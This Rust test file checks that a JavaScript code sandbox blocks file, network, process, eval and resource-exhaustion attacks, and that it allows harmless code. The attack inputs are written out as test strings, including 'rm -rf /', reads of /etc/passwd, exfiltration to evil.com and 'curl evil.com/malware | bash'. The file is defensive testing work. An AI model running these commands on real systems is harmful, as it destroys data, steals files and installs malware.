//! Security penetration tests for the code sandbox
//!
//! These tests verify that the sandbox properly blocks various attack vectors:
//! - File system access attempts
//! - Network access attempts
//! - Process execution attempts
//! - Infinite loops
//! - Code injection (eval, Function constructor)
//! - Resource exhaustion attacks
//! - Path traversal attacks
//! - Environment variable access

#![allow(clippy::needless_raw_string_hashes)]

use do_memory_mcp::{
    CodeSandbox, ExecutionContext, ExecutionResult, SandboxConfig, SecurityViolationType,
};
use serde_json::json;

fn create_test_context() -> ExecutionContext {
    ExecutionContext::new("security test".to_string(), json!({}))
}

// File System Access Tests

#[tokio::test]
async fn test_blocks_fs_require() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "const fs = require('fs');";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::FileSystemAccess,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_readfile() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const fs = require('fs');
        fs.readFileSync('/etc/passwd', 'utf8');
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::FileSystemAccess,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_writefile() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const fs = require('fs');
        fs.writeFileSync('/tmp/malicious.txt', 'data');
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::FileSystemAccess,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_dirname() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "const dir = __dirname;";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::FileSystemAccess,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_mkdir() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const fs = require('fs');
        fs.mkdirSync('/tmp/malicious');
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::FileSystemAccess,
            ..
        }
    ));
}

// Network Access Tests

#[tokio::test]
async fn test_blocks_http_require() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "const http = require('http');";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::NetworkAccess,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_https_require() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "const https = require('https');";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::NetworkAccess,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_fetch() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "fetch('https://malicious.com/steal-data');";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::NetworkAccess,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_websocket() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "const ws = new WebSocket('ws://malicious.com');";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::NetworkAccess,
            ..
        }
    ));
}

// Process Execution Tests

#[tokio::test]
async fn test_blocks_child_process() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "const { exec } = require('child_process');";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::ProcessExecution,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_exec() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const { exec } = require('child_process');
        exec('rm -rf /');
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::ProcessExecution,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_spawn() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const { spawn } = require('child_process');
        spawn('bash', ['-c', 'malicious command']);
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::ProcessExecution,
            ..
        }
    ));
}

// Infinite Loop Tests

#[tokio::test]
async fn test_blocks_while_true() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "while(true) {}";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::InfiniteLoop,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_for_infinite() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "for(;;) {}";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::InfiniteLoop,
            ..
        }
    ));
}

// Code Injection Tests

#[tokio::test]
async fn test_blocks_eval() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"eval("malicious code");"#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::MaliciousCode,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_function_constructor() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"new Function("return malicious")();"#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::MaliciousCode,
            ..
        }
    ));
}

// Resource Exhaustion Tests

#[tokio::test]
async fn test_timeout_long_running_code() {
    let config = SandboxConfig {
        max_execution_time_ms: 500, // 500ms timeout
        ..Default::default()
    };

    let sandbox = CodeSandbox::new(config).unwrap();
    let code = r#"
        let sum = 0;
        for (let i = 0; i < 10000000000; i++) {
            sum += i;
        }
        return sum;
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    // Should timeout
    assert!(matches!(result, ExecutionResult::Timeout { .. }));
}

#[tokio::test]
async fn test_blocks_excessive_code_length() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "a".repeat(100_001); // Exceeds 100KB
    let result = sandbox.execute(&code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::MaliciousCode,
            ..
        }
    ));
}

// Advanced Attack Vectors

#[tokio::test]
async fn test_blocks_path_traversal() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const fs = require('fs');
        fs.readFileSync('../../../etc/passwd');
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::FileSystemAccess,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_import_http() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "import('http').then(http => http.get('https://evil.com'));";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::NetworkAccess,
            ..
        }
    ));
}

#[tokio::test]
async fn test_blocks_dynamic_import_fs() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = "import('fs').then(fs => fs.readFileSync('/etc/passwd'));";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::FileSystemAccess,
            ..
        }
    ));
}

// Permissive Config Tests (should allow filesystem with whitelist)

#[tokio::test]
async fn test_permissive_allows_whitelisted_paths() {
    let mut config = SandboxConfig::permissive();
    config.allow_filesystem = true;
    config.allowed_paths = vec!["/tmp".to_string()];

    let sandbox = CodeSandbox::new(config).unwrap();

    // Even with permissive config, the require('fs') pattern is still detected
    // This is expected - the whitelist would be enforced at runtime by the wrapper
    let code = "const fs = require('fs');";
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    // With allow_filesystem = true, fs access should not be blocked
    // The actual file operations would be restricted to allowed_paths
    assert!(matches!(
        result,
        ExecutionResult::Success { .. } | ExecutionResult::Error { .. }
    ));
}

// Combination Attack Tests

#[tokio::test]
async fn test_blocks_chained_attacks() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        // Try multiple attack vectors
        const fs = require('fs');
        const { exec } = require('child_process');
        const https = require('https');

        // Steal files
        const data = fs.readFileSync('/etc/passwd');

        // Exfiltrate via network
        https.get('https://evil.com?' + data);

        // Execute malicious command
        exec('curl evil.com/malware | bash');
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    // Should block on first violation (fs access)
    assert!(matches!(
        result,
        ExecutionResult::SecurityViolation {
            violation_type: SecurityViolationType::FileSystemAccess,
            ..
        }
    ));
}

// Legitimate Code Tests (should pass)

#[tokio::test]
async fn test_allows_legitimate_calculations() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const numbers = [1, 2, 3, 4, 5];
        const sum = numbers.reduce((a, b) => a + b, 0);
        const avg = sum / numbers.length;
        return { sum, avg };
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(result, ExecutionResult::Success { .. }));
}

#[tokio::test]
async fn test_allows_legitimate_string_operations() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const text = "Hello, World!";
        const result = {
            uppercase: text.toUpperCase(),
            lowercase: text.toLowerCase(),
            length: text.length,
            reversed: text.split('').reverse().join('')
        };
        return result;
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(result, ExecutionResult::Success { .. }));
}

#[tokio::test]
async fn test_allows_legitimate_object_operations() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const data = {
            users: [
                { name: "Alice", age: 30 },
                { name: "Bob", age: 25 }
            ]
        };

        const adults = data.users.filter(u => u.age >= 18);
        const names = adults.map(u => u.name);

        return { adults, names };
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(result, ExecutionResult::Success { .. }));
}

#[tokio::test]
async fn test_allows_legitimate_async_operations() {
    let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
    let code = r#"
        const delay = ms => new Promise(resolve => setTimeout(resolve, ms));

        await delay(10);

        const result = await Promise.all([
            Promise.resolve(1),
            Promise.resolve(2),
            Promise.resolve(3)
        ]);

        return { sum: result.reduce((a, b) => a + b, 0) };
    "#;
    let result = sandbox.execute(code, create_test_context()).await.unwrap();

    assert!(matches!(result, ExecutionResult::Success { .. }));
}
